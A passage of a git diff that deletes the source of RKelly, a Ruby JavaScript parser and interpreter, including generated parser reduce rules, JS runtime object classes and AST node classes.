-          result = ConstStatementNode.new(val[1])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 554)
-  def _reduce_231(val, _values, result)
-          result = ConstStatementNode.new(val[1])
-      debug(result)
-      yyerror unless allow_auto_semi?(val.last)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 561)
-  def _reduce_232(val, _values, result)
-     result = val 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 563)
-  def _reduce_233(val, _values, result)
-          result = [val.first, val.last].flatten
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 568)
-  def _reduce_234(val, _values, result)
-     result = VarDeclNode.new(val[0], nil, true) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 569)
-  def _reduce_235(val, _values, result)
-     result = VarDeclNode.new(val[0], val[1], true) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 573)
-  def _reduce_236(val, _values, result)
-     result = AssignExprNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 577)
-  def _reduce_237(val, _values, result)
-     result = AssignExprNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 581)
-  def _reduce_238(val, _values, result)
-     result = EmptyStatementNode.new(val[0]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 586)
-  def _reduce_239(val, _values, result)
-          result = ExpressionStatementNode.new(val.first)
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 590)
-  def _reduce_240(val, _values, result)
-          result = ExpressionStatementNode.new(val.first)
-      debug(result)
-      raise RKelly::SyntaxError unless allow_auto_semi?(val.last)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 598)
-  def _reduce_241(val, _values, result)
-          result = IfNode.new(val[2], val[4])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 602)
-  def _reduce_242(val, _values, result)
-          result = IfNode.new(val[2], val[4], val[6])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 609)
-  def _reduce_243(val, _values, result)
-          result = DoWhileNode.new(val[1], val[4])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 613)
-  def _reduce_244(val, _values, result)
-          result = DoWhileNode.new(val[1], val[4])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 617)
-  def _reduce_245(val, _values, result)
-          result = WhileNode.new(val[2], val[4])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 621)
-  def _reduce_246(val, _values, result)
-          result = ForNode.new(val[2], val[4], val[6], val[8])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 626)
-  def _reduce_247(val, _values, result)
-          result = ForNode.new(VarStatementNode.new(val[3]), val[5], val[7], val[9])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 630)
-  def _reduce_248(val, _values, result)
-          #yyabort if (!n.isLocation())
-      result = ForInNode.new(val[2], val[4], val[6])
-      debug(result);
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 635)
-  def _reduce_249(val, _values, result)
-          result = ForInNode.new(
-        VarDeclNode.new(val[3], nil), val[5], val[7])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 640)
-  def _reduce_250(val, _values, result)
-          result = ForInNode.new(
-        VarDeclNode.new(val[3], val[4]), val[6], val[8]
-      )
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 648)
-  def _reduce_251(val, _values, result)
-     result = nil 
-    result
-  end
-.,.,
-
-# reduce 252 omitted
-
-module_eval(<<'.,.,', 'parser.y', 653)
-  def _reduce_253(val, _values, result)
-     result = nil 
-    result
-  end
-.,.,
-
-# reduce 254 omitted
-
-module_eval(<<'.,.,', 'parser.y', 659)
-  def _reduce_255(val, _values, result)
-          result = ContinueNode.new(nil)
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 663)
-  def _reduce_256(val, _values, result)
-          result = ContinueNode.new(nil)
-      debug(result)
-      yyabort unless allow_auto_semi?(val[1])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 668)
-  def _reduce_257(val, _values, result)
-          result = ContinueNode.new(val[1])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 672)
-  def _reduce_258(val, _values, result)
-          result = ContinueNode.new(val[1])
-      debug(result)
-      yyabort unless allow_auto_semi?(val[2])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 680)
-  def _reduce_259(val, _values, result)
-          result = BreakNode.new(nil)
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 684)
-  def _reduce_260(val, _values, result)
-          result = BreakNode.new(nil)
-      debug(result)
-      yyabort unless allow_auto_semi?(val[1])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 689)
-  def _reduce_261(val, _values, result)
-          result = BreakNode.new(val[1])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 693)
-  def _reduce_262(val, _values, result)
-          result = BreakNode.new(val[1])
-      debug(result)
-      yyabort unless allow_auto_semi?(val[2])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 701)
-  def _reduce_263(val, _values, result)
-          result = ReturnNode.new(nil)
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 705)
-  def _reduce_264(val, _values, result)
-          result = ReturnNode.new(nil)
-      debug(result)
-      yyabort unless allow_auto_semi?(val[1])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 710)
-  def _reduce_265(val, _values, result)
-          result = ReturnNode.new(val[1])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 714)
-  def _reduce_266(val, _values, result)
-          result = ReturnNode.new(val[1])
-      debug(result)
-      yyabort unless allow_auto_semi?(val[2])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 722)
-  def _reduce_267(val, _values, result)
-          result = WithNode.new(val[2], val[4])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 729)
-  def _reduce_268(val, _values, result)
-          result = SwitchNode.new(val[2], val[4])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 735)
-  def _reduce_269(val, _values, result)
-     result = CaseBlockNode.new(val[1]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 737)
-  def _reduce_270(val, _values, result)
-          result = CaseBlockNode.new([val[1], val[2], val[3]].flatten)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 742)
-  def _reduce_271(val, _values, result)
-     result = [] 
-    result
-  end
-.,.,
-
-# reduce 272 omitted
-
-module_eval(<<'.,.,', 'parser.y', 747)
-  def _reduce_273(val, _values, result)
-     result = val 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 748)
-  def _reduce_274(val, _values, result)
-     result = val.flatten 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 753)
-  def _reduce_275(val, _values, result)
-          result = CaseClauseNode.new(val[1], val[3])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 759)
-  def _reduce_276(val, _values, result)
-          result = CaseClauseNode.new(nil, val[2])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 764)
-  def _reduce_277(val, _values, result)
-     result = LabelNode.new(val[0], val[2]) 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 769)
-  def _reduce_278(val, _values, result)
-          result = ThrowNode.new(val[1])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 773)
-  def _reduce_279(val, _values, result)
-          result = ThrowNode.new(val[1])
-      debug(result)
-      yyabort unless allow_auto_semi?(val[2])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 781)
-  def _reduce_280(val, _values, result)
-          result = TryNode.new(val[1], nil, nil, val[3])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 785)
-  def _reduce_281(val, _values, result)
-          result = TryNode.new(val[1], val[4], val[6])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 789)
-  def _reduce_282(val, _values, result)
-          result = TryNode.new(val[1], val[4], val[6], val[8])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 796)
-  def _reduce_283(val, _values, result)
-          result = EmptyStatementNode.new(val[0])
-      debug(result)
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 800)
-  def _reduce_284(val, _values, result)
-          result = EmptyStatementNode.new(val[0])
-      debug(result)
-      yyabort unless allow_auto_semi?(val[1])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 808)
-  def _reduce_285(val, _values, result)
-          result = FunctionDeclNode.new(val[1], val[5])
-      debug(val[5])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 812)
-  def _reduce_286(val, _values, result)
-          result = FunctionDeclNode.new(val[1], val[6], val[3])
-      debug(val[6])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 819)
-  def _reduce_287(val, _values, result)
-          result = FunctionExprNode.new(val[0], val[4])
-      debug(val[4])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 823)
-  def _reduce_288(val, _values, result)
-          result = FunctionExprNode.new(val[0], val[5], val[2])
-      debug(val[5])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 827)
-  def _reduce_289(val, _values, result)
-          result = FunctionExprNode.new(val[1], val[5])
-      debug(val[5])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 831)
-  def _reduce_290(val, _values, result)
-          result = FunctionExprNode.new(val[1], val[6], val[3])
-      debug(val[6])
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 837)
-  def _reduce_291(val, _values, result)
-     result = [ParameterNode.new(val[0])] 
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 839)
-  def _reduce_292(val, _values, result)
-          result = [val.first, ParameterNode.new(val.last)].flatten
-    
-    result
-  end
-.,.,
-
-module_eval(<<'.,.,', 'parser.y', 844)
-  def _reduce_293(val, _values, result)
-     result = FunctionBodyNode.new(val[0]) 
-    result
-  end
-.,.,
-
-def _reduce_none(val, _values, result)
-  val[0]
-end
-
-  end   # class GeneratedParser
-  end   # module RKelly
diff --git a/lib/rkelly/js.rb b/lib/rkelly/js.rb
deleted file mode 100644
index 0660e307b8..0000000000
--- a/lib/rkelly/js.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-require 'rkelly/js/nan'
-require 'rkelly/js/property'
-require 'rkelly/js/base'
-require 'rkelly/js/global_object'
-require 'rkelly/js/object'
-require 'rkelly/js/object_prototype'
-require 'rkelly/js/function_prototype'
-require 'rkelly/js/array'
-require 'rkelly/js/boolean'
-require 'rkelly/js/math'
-require 'rkelly/js/number'
-require 'rkelly/js/string'
-require 'rkelly/js/scope'
-require 'rkelly/js/function'
diff --git a/lib/rkelly/js/array.rb b/lib/rkelly/js/array.rb
deleted file mode 100644
index 054b69c13d..0000000000
--- a/lib/rkelly/js/array.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module RKelly
-  module JS
-    class Array < Base
-      class << self
-        def create(*args)
-          self.new(*args)
-        end
-      end
-
-      def initialize(*args)
-        super()
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/js/base.rb b/lib/rkelly/js/base.rb
deleted file mode 100644
index 796fb2c870..0000000000
--- a/lib/rkelly/js/base.rb
+++ /dev/null
@@ -1,91 +0,0 @@
-module RKelly
-  module JS
-    class Base
-      attr_reader :properties, :return, :value
-      def initialize
-        @properties = Hash.new { |h,k|
-          h[k] = Property.new(k, :undefined, self)
-        }
-        @return     = nil
-        @returned   = false
-        @value      = self
-        self['Class'] = self.class.to_s.split('::').last
-      end
-
-      def [](name)
-        return self.properties[name] if has_property?(name)
-        if self.properties['prototype'].value != :undefined
-          self.properties['prototype'].value[name]
-        else
-          RKelly::Runtime::UNDEFINED
-        end
-      end
-
-      def []=(name, value)
-        return unless can_put?(name)
-        if has_property?(name)
-          self.properties[name].value = value
-        else
-          self.properties[name] = Property.new(name, value, self)
-        end
-      end
-
-      def can_put?(name)
-        if !has_property?(name)
-          return true if self.properties['prototype'].nil?
-          return true if self.properties['prototype'].value.nil?
-          return true if self.properties['prototype'].value == :undefined
-          return self.properties['prototype'].value.can_put?(name)
-        end
-        !self.properties[name].read_only?
-      end
-
-      def has_property?(name)
-        return true if self.properties.has_key?(name)
-        return false if self.properties['prototype'].nil?
-        return false if self.properties['prototype'].value.nil?
-        return false if self.properties['prototype'].value == :undefined
-        self.properties['prototype'].value.has_property?(name)
-      end
-
-      def delete(name)
-        return true unless has_property?(name)
-        return false if self.properties[name].dont_delete?
-        self.properties.delete(name)
-        true
-      end
-
-      def default_value(hint)
-        case hint
-        when 'Number'
-          value_of = self['valueOf']
-          if value_of.function || value_of.value.is_a?(RKelly::JS::Function)
-            return value_of
-          end
-          to_string = self['toString']
-          if to_string.function || to_string.value.is_a?(RKelly::JS::Function)
-            return to_string
-          end
-        end
-      end
-
-      def return=(value)
-        @returned = true
-        @return = value
-      end
-
-      def returned?; @returned; end
-
-      private
-      def unbound_method(name, object_id = nil, &block)
-        name = "#{name}_#{self.class.to_s.split('::').last}_#{object_id}"
-        unless RKelly::JS::Base.instance_methods.include?(name.to_sym)
-          RKelly::JS::Base.class_eval do
-            define_method(name, &block)
-          end
-        end
-        RKelly::JS::Base.instance_method(name)
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/js/boolean.rb b/lib/rkelly/js/boolean.rb
deleted file mode 100644
index 2a78aa9721..0000000000
--- a/lib/rkelly/js/boolean.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module RKelly
-  module JS
-    class Boolean < Base
-      class << self
-        def create(*args)
-          return false if args.length == 0
-          self.new(args.first)
-        end
-      end
-      def initialize(*args)
-        super()
-        value = args.first.nil? ? false : args.first
-        self['valueOf'] = value
-        self['valueOf'].function = lambda {
-          value
-        }
-        self['toString'] = args.first.to_s
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/js/function.rb b/lib/rkelly/js/function.rb
deleted file mode 100644
index 538057a3de..0000000000
--- a/lib/rkelly/js/function.rb
+++ /dev/null
@@ -1,39 +0,0 @@
-module RKelly
-  module JS
-    class Function < Base
-      class << self
-        def create(*args)
-          if args.length > 0
-            parser = RKelly::Parser.new
-            body = args.pop
-            tree = parser.parse("function x(#{args.join(',')}) { #{body} }")
-            func = tree.value.first
-            self.new(func.function_body, func.arguments)
-          else
-            self.new
-          end
-        end
-      end
-
-      attr_reader :body, :arguments
-      def initialize(body = nil, arguments = [])
-        super()
-        @body = body
-        @arguments = arguments
-        self['prototype'] = JS::FunctionPrototype.new(self)
-        self['toString'] = :undefined
-        self['length'] = arguments.length
-      end
-
-      def js_call(scope_chain, *params)
-        arguments.each_with_index { |name, i|
-          scope_chain[name.value] = params[i] || RKelly::Runtime::UNDEFINED
-        }
-        function_visitor  = RKelly::Visitors::FunctionVisitor.new(scope_chain)
-        eval_visitor      = RKelly::Visitors::EvaluationVisitor.new(scope_chain)
-        body.accept(function_visitor) if body
-        body.accept(eval_visitor) if body
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/js/function_prototype.rb b/lib/rkelly/js/function_prototype.rb
deleted file mode 100644
index 6a6fde983a..0000000000
--- a/lib/rkelly/js/function_prototype.rb
+++ /dev/null
@@ -1,15 +0,0 @@
-module RKelly
-  module JS
-    # This is the object protytpe
-    # ECMA-262 15.2.4
-    class FunctionPrototype < ObjectPrototype
-      def initialize(function)
-        super()
-        self['Class'] = 'Object'
-        self['constructor'] = function
-        self['arguments'].value = nil
-      end
-    end
-  end
-end
-
diff --git a/lib/rkelly/js/global_object.rb b/lib/rkelly/js/global_object.rb
deleted file mode 100644
index 370a108989..0000000000
--- a/lib/rkelly/js/global_object.rb
+++ /dev/null
@@ -1,52 +0,0 @@
-module RKelly
-  module JS
-    class GlobalObject < Base
-      def initialize
-        super
-        self['class']     = 'GlobalObject'
-        self['NaN']       = JS::NaN.new
-        self['NaN'].attributes << :dont_enum
-        self['NaN'].attributes << :dont_delete
-
-        self['Infinity']  = 1.0/0.0
-        self['Infinity'].attributes << :dont_enum
-        self['Infinity'].attributes << :dont_delete
-
-        self['undefined'] = :undefined
-        self['undefined'].attributes << :dont_enum
-        self['undefined'].attributes << :dont_delete
-
-        self['Array'] = JS::Array.new
-        self['Array'].function = lambda { |*args|
-          JS::Array.create(*args)
-        }
-
-        self['Object'] = JS::Object.new
-        self['Object'].function = lambda { |*args|
-          JS::Object.create(*args)
-        }
-
-        self['Math'] = JS::Math.new
-
-        self['Function'] = :undefined
-        self['Function'].function = lambda { |*args|
-          JS::Function.create(*args)
-        }
-
-        self['Number'] = JS::Number.new
-        self['Number'].function = lambda { |*args|
-          JS::Number.create(*args)
-        }
-
-        self['Boolean'] = JS::Boolean.new
-        self['Boolean'].function = lambda { |*args|
-          JS::Boolean.create(*args)
-        }
-        self['String'] = JS::String.new('')
-        self['String'].function = lambda { |*args|
-          JS::String.create(*args)
-        }
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/js/math.rb b/lib/rkelly/js/math.rb
deleted file mode 100644
index c6a0a2aa35..0000000000
--- a/lib/rkelly/js/math.rb
+++ /dev/null
@@ -1,10 +0,0 @@
-module RKelly
-  module JS
-    class Math < Base
-      def initialize
-        super
-        self['PI'] = ::Math::PI
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/js/nan.rb b/lib/rkelly/js/nan.rb
deleted file mode 100644
index b4bc7f8401..0000000000
--- a/lib/rkelly/js/nan.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-module RKelly
-  module JS
-    # Class to represent Not A Number
-    # In Ruby NaN != NaN, but in JS, NaN == NaN
-    class NaN < ::Numeric
-      def ==(other)
-        other.respond_to?(:nan?) && other.nan?
-      end
-
-      def nan?
-        true
-      end
-
-      def +(o); self; end
-      def -(o); self; end
-    end
-  end
-end
diff --git a/lib/rkelly/js/number.rb b/lib/rkelly/js/number.rb
deleted file mode 100644
index d513ec7a23..0000000000
--- a/lib/rkelly/js/number.rb
+++ /dev/null
@@ -1,22 +0,0 @@
-module RKelly
-  module JS
-    class Number < Base
-      class << self
-        def create(*args)
-          self.new(args.first || 0)
-        end
-      end
-
-      def initialize(value = 0)
-        super()
-        self['MAX_VALUE'] = 1.797693134862315e+308
-        self['MIN_VALUE'] = 1.0e-306
-        self['NaN']       = JS::NaN.new
-        self['POSITIVE_INFINITY'] = 1.0/0.0
-        self['NEGATIVE_INFINITY'] = -1.0/0.0
-        self['valueOf'] = lambda { value }
-        self['toString'] = value.to_s
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/js/object.rb b/lib/rkelly/js/object.rb
deleted file mode 100644
index 27635bf50e..0000000000
--- a/lib/rkelly/js/object.rb
+++ /dev/null
@@ -1,30 +0,0 @@
-module RKelly
-  module JS
-    class Object < Base
-      attr_reader :value
-      class << self
-        def create(*args)
-          arg = args.first
-          return self.new if arg.nil? || arg == :undefined
-          case arg
-          when true, false
-            JS::Boolean.new(arg)
-          when Numeric
-            JS::Number.new(arg)
-          when ::String
-            JS::String.new(arg)
-          else
-            self.new(arg)
-          end
-        end
-      end
-
-      def initialize(*args)
-        super()
-        self['prototype'] = JS::ObjectPrototype.new
-        self['valueOf'] = lambda { args.first || self }
-        self['valueOf'].function = lambda { args.first || self }
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/js/object_prototype.rb b/lib/rkelly/js/object_prototype.rb
deleted file mode 100644
index c8bd61a325..0000000000
--- a/lib/rkelly/js/object_prototype.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-module RKelly
-  module JS
-    # This is the object protytpe
-    # ECMA-262 15.2.4
-    class ObjectPrototype < Base
-      def initialize
-        super
-        self['toString'].function = unbound_method(:toString) do
-          "[object #{self['Class'].value}]"
-        end
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/js/property.rb b/lib/rkelly/js/property.rb
deleted file mode 100644
index 73c5fdd397..0000000000
--- a/lib/rkelly/js/property.rb
+++ /dev/null
@@ -1,20 +0,0 @@
-module RKelly
-  module JS
-    class Property
-      attr_accessor :name, :value, :attributes, :function, :binder
-      def initialize(name, value, binder = nil, function = nil, attributes = [])
-        @name = name
-        @value = value
-        @binder = binder
-        @function = function
-        @attributes = attributes
-      end
-
-      [:read_only, :dont_enum, :dont_delete, :internal].each do |property|
-        define_method(:"#{property}?") do
-          self.attributes.include?(property)
-        end
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/js/scope.rb b/lib/rkelly/js/scope.rb
deleted file mode 100644
index 1437d31118..0000000000
--- a/lib/rkelly/js/scope.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-module RKelly
-  module JS
-    class Scope < Base
-    end
-  end
-end
diff --git a/lib/rkelly/js/string.rb b/lib/rkelly/js/string.rb
deleted file mode 100644
index 9fab974410..0000000000
--- a/lib/rkelly/js/string.rb
+++ /dev/null
@@ -1,21 +0,0 @@
-module RKelly
-  module JS
-    class String < Base
-      class << self
-        def create(*args)
-          self.new(args.first || '')
-        end
-      end
-
-      def initialize(value)
-        super()
-        self['valueOf'] = value
-        self['valueOf'].function = lambda { value }
-        self['toString'] = value
-        self['fromCharCode'] = unbound_method(:fromCharCode) { |*args|
-          args.map { |x| x.chr }.join
-        }
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/lexeme.rb b/lib/rkelly/lexeme.rb
deleted file mode 100644
index c06ca5fb47..0000000000
--- a/lib/rkelly/lexeme.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-require 'rkelly/token'
-
-module RKelly
-  class Lexeme
-    attr_reader :name, :pattern
-    def initialize(name, pattern, &block)
-      @name       = name
-      @pattern    = pattern
-      @block      = block
-    end
-
-    def match(string)
-      match = pattern.match(string)
-      return Token.new(name, match.to_s, &@block) if match
-      match
-    end
-  end
-end
diff --git a/lib/rkelly/nodes.rb b/lib/rkelly/nodes.rb
deleted file mode 100644
index 3548d286d6..0000000000
--- a/lib/rkelly/nodes.rb
+++ /dev/null
@@ -1,25 +0,0 @@
-require 'rkelly/nodes/node'
-require 'rkelly/nodes/function_expr_node'
-require 'rkelly/nodes/binary_node'
-require 'rkelly/nodes/bracket_accessor_node'
-require 'rkelly/nodes/case_clause_node'
-require 'rkelly/nodes/comma_node'
-require 'rkelly/nodes/conditional_node'
-require 'rkelly/nodes/dot_accessor_node'
-require 'rkelly/nodes/for_in_node'
-require 'rkelly/nodes/for_node'
-require 'rkelly/nodes/function_call_node'
-require 'rkelly/nodes/function_decl_node'
-require 'rkelly/nodes/function_expr_node'
-require 'rkelly/nodes/if_node'
-require 'rkelly/nodes/label_node'
-require 'rkelly/nodes/new_expr_node'
-require 'rkelly/nodes/not_strict_equal_node'
-require 'rkelly/nodes/op_equal_node'
-require 'rkelly/nodes/postfix_node'
-require 'rkelly/nodes/prefix_node'
-require 'rkelly/nodes/property_node'
-require 'rkelly/nodes/resolve_node'
-require 'rkelly/nodes/strict_equal_node'
-require 'rkelly/nodes/try_node'
-require 'rkelly/nodes/var_decl_node'
diff --git a/lib/rkelly/nodes/binary_node.rb b/lib/rkelly/nodes/binary_node.rb
deleted file mode 100644
index 84f6b3dbdf..0000000000
--- a/lib/rkelly/nodes/binary_node.rb
+++ /dev/null
@@ -1,18 +0,0 @@
-module RKelly
-  module Nodes
-    class BinaryNode < Node
-      attr_reader :left
-      def initialize(left, right)
-        super(right)
-        @left = left
-      end
-    end
-
-    %w[Subtract LessOrEqual GreaterOrEqual Add Multiply While NotEqual
-       DoWhile Switch LogicalAnd UnsignedRightShift Modulus While
-       NotStrictEqual Less With In Greater BitOr StrictEqual LogicalOr
-       BitXOr LeftShift Equal BitAnd InstanceOf Divide RightShift].each do |node|
-      eval "class #{node}Node < BinaryNode; end"
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/bracket_accessor_node.rb b/lib/rkelly/nodes/bracket_accessor_node.rb
deleted file mode 100644
index 6115fa2574..0000000000
--- a/lib/rkelly/nodes/bracket_accessor_node.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-module RKelly
-  module Nodes
-    class BracketAccessorNode < Node
-      attr_reader :accessor
-      def initialize(resolve, accessor)
-        super(resolve)
-        @accessor = accessor
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/case_clause_node.rb b/lib/rkelly/nodes/case_clause_node.rb
deleted file mode 100644
index bbe5127d58..0000000000
--- a/lib/rkelly/nodes/case_clause_node.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-require 'rkelly/nodes/binary_node'
-
-module RKelly
-  module Nodes
-    class CaseClauseNode < BinaryNode
-      def initialize(left, src = SourceElementsNode.new([]))
-        super
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/comma_node.rb b/lib/rkelly/nodes/comma_node.rb
deleted file mode 100644
index 00bfbe539f..0000000000
--- a/lib/rkelly/nodes/comma_node.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-module RKelly
-  module Nodes
-    class CommaNode < Node
-      attr_reader :left
-      def initialize(left, right)
-        super(right)
-        @left = left
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/conditional_node.rb b/lib/rkelly/nodes/conditional_node.rb
deleted file mode 100644
index 4aea83ea88..0000000000
--- a/lib/rkelly/nodes/conditional_node.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-require 'rkelly/nodes/if_node'
-
-module RKelly
-  module Nodes
-    class ConditionalNode < IfNode
-      def initialize(test, true_block, else_block)
-        super
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/dot_accessor_node.rb b/lib/rkelly/nodes/dot_accessor_node.rb
deleted file mode 100644
index 1fd78fc90f..0000000000
--- a/lib/rkelly/nodes/dot_accessor_node.rb
+++ /dev/null
@@ -1,11 +0,0 @@
-module RKelly
-  module Nodes
-    class DotAccessorNode < Node
-      attr_accessor :accessor
-      def initialize(resolve, accessor)
-        super(resolve)
-        @accessor = accessor
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/for_in_node.rb b/lib/rkelly/nodes/for_in_node.rb
deleted file mode 100644
index 3b14ab6f09..0000000000
--- a/lib/rkelly/nodes/for_in_node.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-module RKelly
-  module Nodes
-    class ForInNode < Node
-      attr_reader :left, :right
-      def initialize(left, right, block)
-        super(block)
-        @left = left
-        @right = right
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/for_node.rb b/lib/rkelly/nodes/for_node.rb
deleted file mode 100644
index 7392e490ae..0000000000
--- a/lib/rkelly/nodes/for_node.rb
+++ /dev/null
@@ -1,13 +0,0 @@
-module RKelly
-  module Nodes
-    class ForNode < Node
-      attr_reader :init, :test, :counter
-      def initialize(init, test, counter, body)
-        super(body)
-        @init = init
-        @test = test
-        @counter = counter
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/function_call_node.rb b/lib/rkelly/nodes/function_call_node.rb
deleted file mode 100644
index c91d090e18..0000000000
--- a/lib/rkelly/nodes/function_call_node.rb
+++ /dev/null
@@ -1,16 +0,0 @@
-module RKelly
-  module Nodes
-    class FunctionCallNode < Node
-      attr_reader :arguments
-      def initialize(value, arguments)
-        super(value)
-        @arguments = arguments
-      end
-
-      def ==(other)
-        super && @arguments == other.arguments
-      end
-      alias :=~ :==
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/function_decl_node.rb b/lib/rkelly/nodes/function_decl_node.rb
deleted file mode 100644
index 0415de8d5d..0000000000
--- a/lib/rkelly/nodes/function_decl_node.rb
+++ /dev/null
@@ -1,6 +0,0 @@
-module RKelly
-  module Nodes
-    class FunctionDeclNode < FunctionExprNode
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/function_expr_node.rb b/lib/rkelly/nodes/function_expr_node.rb
deleted file mode 100644
index 503c01cea1..0000000000
--- a/lib/rkelly/nodes/function_expr_node.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-module RKelly
-  module Nodes
-    class FunctionExprNode < Node
-      attr_reader :function_body, :arguments
-      def initialize(name, body, args = [])
-        super(name)
-        @function_body = body
-        @arguments = args
-      end
-    end
-  end
-end
diff --git a/lib/rkelly/nodes/if_node.rb b/lib/rkelly/nodes/if_node.rb
deleted file mode 100644
index 260940169d..0000000000
--- a/lib/rkelly/nodes/if_node.rb
+++ /dev/null
@@ -1,12 +0,0 @@
-module RKelly
-  module Nodes
-    class IfNode < Node
-      attr_reader :conditions, :else
-      def initialize(conditions, value, else_stmt = nil)
-        super(value)
-        @conditions = conditions
-        @else = else_stmt
-      end
-    end
-  end
-end
